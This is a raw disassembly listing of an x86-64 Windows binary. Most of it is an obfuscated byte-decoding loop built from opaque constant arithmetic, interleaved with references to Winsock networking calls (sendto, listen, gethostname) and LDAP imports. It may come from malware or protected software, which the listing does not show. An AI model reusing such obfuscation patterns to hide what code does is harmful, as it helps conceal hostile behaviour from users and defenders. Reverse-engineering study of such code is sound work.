mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
movabs rcx, 0xea17f8680d580f0d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
mov byte [rbp + r10 + 0x230], dil
inc r10
jmp 0x140108293
movabs rcx, 0x44f312a1d8eae34f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
cmp r8, 0x200
jb 0x140108723
movabs rcx, 0xe659c67c71bfb6da
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140108d96
movabs rcx, 0x9fce2cdba47db791
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 9
cmp rbx, 6
jae 0x140108c5b
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140108b7c
movabs rcx, 0x72e8ccbe657c016e
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x140108752
movabs rcx, 0xfaa9471570108bd3
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
lea rax, [r8 + rbx]
cmp rax, 4
je 0x140108cb3
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140108a7f
movabs rcx, 0x2ce5601d3f01b623
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x1401087a3
movabs rcx, 0xa4148bc6e6ddc3c2
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
movabs rdx, 0xfeefa600b2709804
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x140108e85
movabs rdx, 0x59cac03a7e036c46
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e54
movabs rdx, 0xb4a5da7449964088
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e15
movabs rdx, 0xf80f4ae152914ca
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e12
movabs rcx, 0x6a5c0ee7e0bbe90c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140108c86
movabs rcx, 0xc5372921ac4ebd4e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x22
dec r10
inc r10
jmp 0x140108293
movabs rdx, 0x2012435b77e19190
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140108293
movabs rdx, 0x7aed5d95437465d2
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108d96
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x1401089de
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x1401087fd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140108a1d
movabs rcx, 0x8c06d9424cf49696
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140108a4a
movabs rcx, 0x312bbf088161c254
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140108e85
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1401087fd
movabs rdx, 0x209a705b1ea9458e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e12
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140108aac
movabs rcx, 0xd20a45e3736ee1e1
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
jmp 0x140108d96
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140108adf
movabs rcx, 0x1c54116fdc49395d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
dec r10
inc r10
jmp 0x140108293
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140108b0c
movabs rcx, 0x669ddcfc452390d9
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
jmp 0x140108e12
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140108b39
movabs rcx, 0xb0e7a888adfde855
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
jmp 0x140108e54
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1401087a3
movabs rcx, 0xfb31741516d83fd1
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140108bbb
movabs rcx, 0x180db28499e92d2c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140108bec
movabs rdx, 0x62577e1102c384a8
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e54
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140108c1d
movabs rdx, 0x77c63d73730b066
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108e15
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140108752
movabs rdx, 0x9c0ffaf008e55f5e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140108293
movabs rdx, 0x8b7eac42a62ce298
add rdx, r10
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x230]
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r9b
movabs rcx, 0x5e111f25c0637877
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x41
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x230], cl
jmp 0x140108e12
movabs rcx, 0x30a39208da9a0e56
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x230]
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140108e54
movabs rdx, 0xca05b50c95767d7d
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
jmp 0x140108e51
movabs rcx, 0x24e0cf46610951bf
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x39
jmp 0x140108e15
movabs rcx, 0x904d382d8f54a2c7
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
inc r8
dec r10
inc r10
jmp 0x140108293
movabs rcx, 0xeb2852675ae77709
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
jmp 0x140108d96
movabs rcx, 0xa0de86daf20d1f8d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
movabs rcx, 0xb8ec395f8bf64cb9
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0xf
add cl, r9b
mov byte [rbp + r10 + 0x230], cl
inc r8
dec r10
inc r10
jmp 0x140108293
movabs rcx, 0x5694bb4e8932c811
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
dec r10
inc r10
jmp 0x140108293
movabs rcx, 0xc4aefc220587095
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140108293
mov r9, r11
movabs rdx, 0xc2012435b77e1919
add rdx, r10
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
add dil, 0x51
add dil, dl
movabs rcx, 0x33604ebf4d0a435
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x73
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x230], al
inc r8
add rax, r8
sub r10, rax
movabs rdx, 0xd5c877cf0f073a14
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x230], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
movabs rcx, 0x77b758a94ea3c19d
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x4b
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x140108293
movabs rcx, 0x6615affc9e5bdcdb
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x140108290
movabs rcx, 0xc0f0ca3669eeb11d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
jmp 0x140108276
lea rdx, [rbp + 0x16cb404]
jmp 0x140108f6d
lea rdx, [rbp + 0x6349e3]
jmp 0x140108f6d
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x210]
call fcn.140046ad0
mov rcx, rax
call fcn.1400e03a0
cmp byte [0x140437460], 0
je 0x140108fa4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x28]
call fcn.1400438e0
jmp 0x1401073f5
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3